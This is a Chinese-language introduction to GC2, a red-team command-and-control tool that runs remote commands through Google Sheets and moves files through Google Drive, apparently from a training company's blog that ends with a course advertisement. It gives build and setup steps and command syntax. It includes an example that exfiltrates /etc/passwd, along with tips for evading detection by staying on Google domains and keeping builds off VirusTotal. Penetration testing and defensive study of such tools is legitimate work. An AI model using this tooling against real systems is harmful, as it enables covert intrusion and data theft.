關(guān)于GC2
GC2是一款功能強(qiáng)大的命令控制應(yīng)用工具，該工具將允許廣大安全研究人員或滲透測試人員使用Google Sheet來在目標(biāo)設(shè)備上執(zhí)行遠(yuǎn)程控制命令，并使用Google Drive來提取目標(biāo)設(shè)備中的敏感數(shù)據(jù)。
值得一提的是，該工具可以直接提供命令控制服務(wù)，而無需進(jìn)行其他額外的安裝和配置，因此可以大大提高紅隊(duì)滲透活動(dòng)的效率。除此之外，這款工具只能跟Google的域名(*.google.com)交互，因此也增加了檢測GC2的難度。
請注意：千萬不要將已編譯好的代碼上傳到VirusTotal上!
功能介紹
使用Google Sheet作為終端窗口來實(shí)現(xiàn)命令控制與命令執(zhí)行。
使用Google Drive向目標(biāo)主機(jī)傳輸和下載文件。
使用Google Drive從目標(biāo)主機(jī)中提取數(shù)據(jù)。
退出執(zhí)行。
工具運(yùn)行流程
工具安裝&配置
第一步：使用下列命令將該項(xiàng)目源碼克隆至本地，然后構(gòu)建項(xiàng)目代碼：
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
go build gc2-sheet.go
第二步：創(chuàng)建一個(gè)新的Google “服務(wù)賬號”，此時(shí)我們需要點(diǎn)擊https://console.cloud.google.com/來創(chuàng)建該服務(wù)賬號所需的.json密鑰文件。
第三步：啟用Google Sheet API和Google Drive API。
第四步：配置Google Sheet和Google Drive。創(chuàng)建一個(gè)新的Google Sheet，并添加服務(wù)賬號至spreadsheet的Editor組：
創(chuàng)建一個(gè)新的Google Drive文件夾，并將服務(wù)賬號添加進(jìn)這個(gè)文件夾的Editor組中：
第五步：使用下列命令啟動(dòng)GC2：
gc2-sheet --key--sheet--drive
注意事項(xiàng)：你可以將參數(shù)以硬編碼的形式寫入進(jìn)代碼中，并只將可執(zhí)行程序上傳至目標(biāo)設(shè)備上。
工具使用
命令執(zhí)行
GC2每五秒會(huì)向spreadsheet發(fā)送一次請求，并檢查是否存在未執(zhí)行的新命令。命令必須插入值請求中的“A”字段記錄中，而命令輸出結(jié)果將存儲(chǔ)在“B”字段中。
數(shù)據(jù)提取
我們可以使用指定的命令來在目標(biāo)設(shè)備上執(zhí)行文件上傳或下載任務(wù)：
From Target to Google Drive
upload;
Example:
upload;/etc/passwd
下載文件
我們可以使用指定的命令來在目標(biāo)設(shè)備上執(zhí)行文件上傳或下載任務(wù)：
From Google Drive to Target
download;;
Example:
download;;/home/user/downloaded.txt
退出執(zhí)行
通過發(fā)送“exit”命令，GC2將會(huì)從目標(biāo)設(shè)備上遠(yuǎn)程刪除自身代碼，并終止自身進(jìn)程的運(yùn)行。注意，如果開啟進(jìn)程時(shí)使用了符號鏈接，那么命令執(zhí)行結(jié)果可能會(huì)是符號鏈接或路徑所指向的目標(biāo)，從而導(dǎo)致刪除錯(cuò)誤的目標(biāo)。
項(xiàng)目地址
https://github.com/looCiprian/GC2-sheet
更多關(guān)于“網(wǎng)絡(luò)安全培訓(xùn)”的問題，歡迎咨詢千鋒教育在線名師。千鋒教育多年辦學(xué)，課程大綱緊跟企業(yè)需求，更科學(xué)更嚴(yán)謹(jǐn)，每年培養(yǎng)泛IT人才近2萬人。不論你是零基礎(chǔ)還是想提升，都可以找到適合的班型，千鋒教育隨時(shí)歡迎你來試聽。
京公網(wǎng)安備 11010802030320號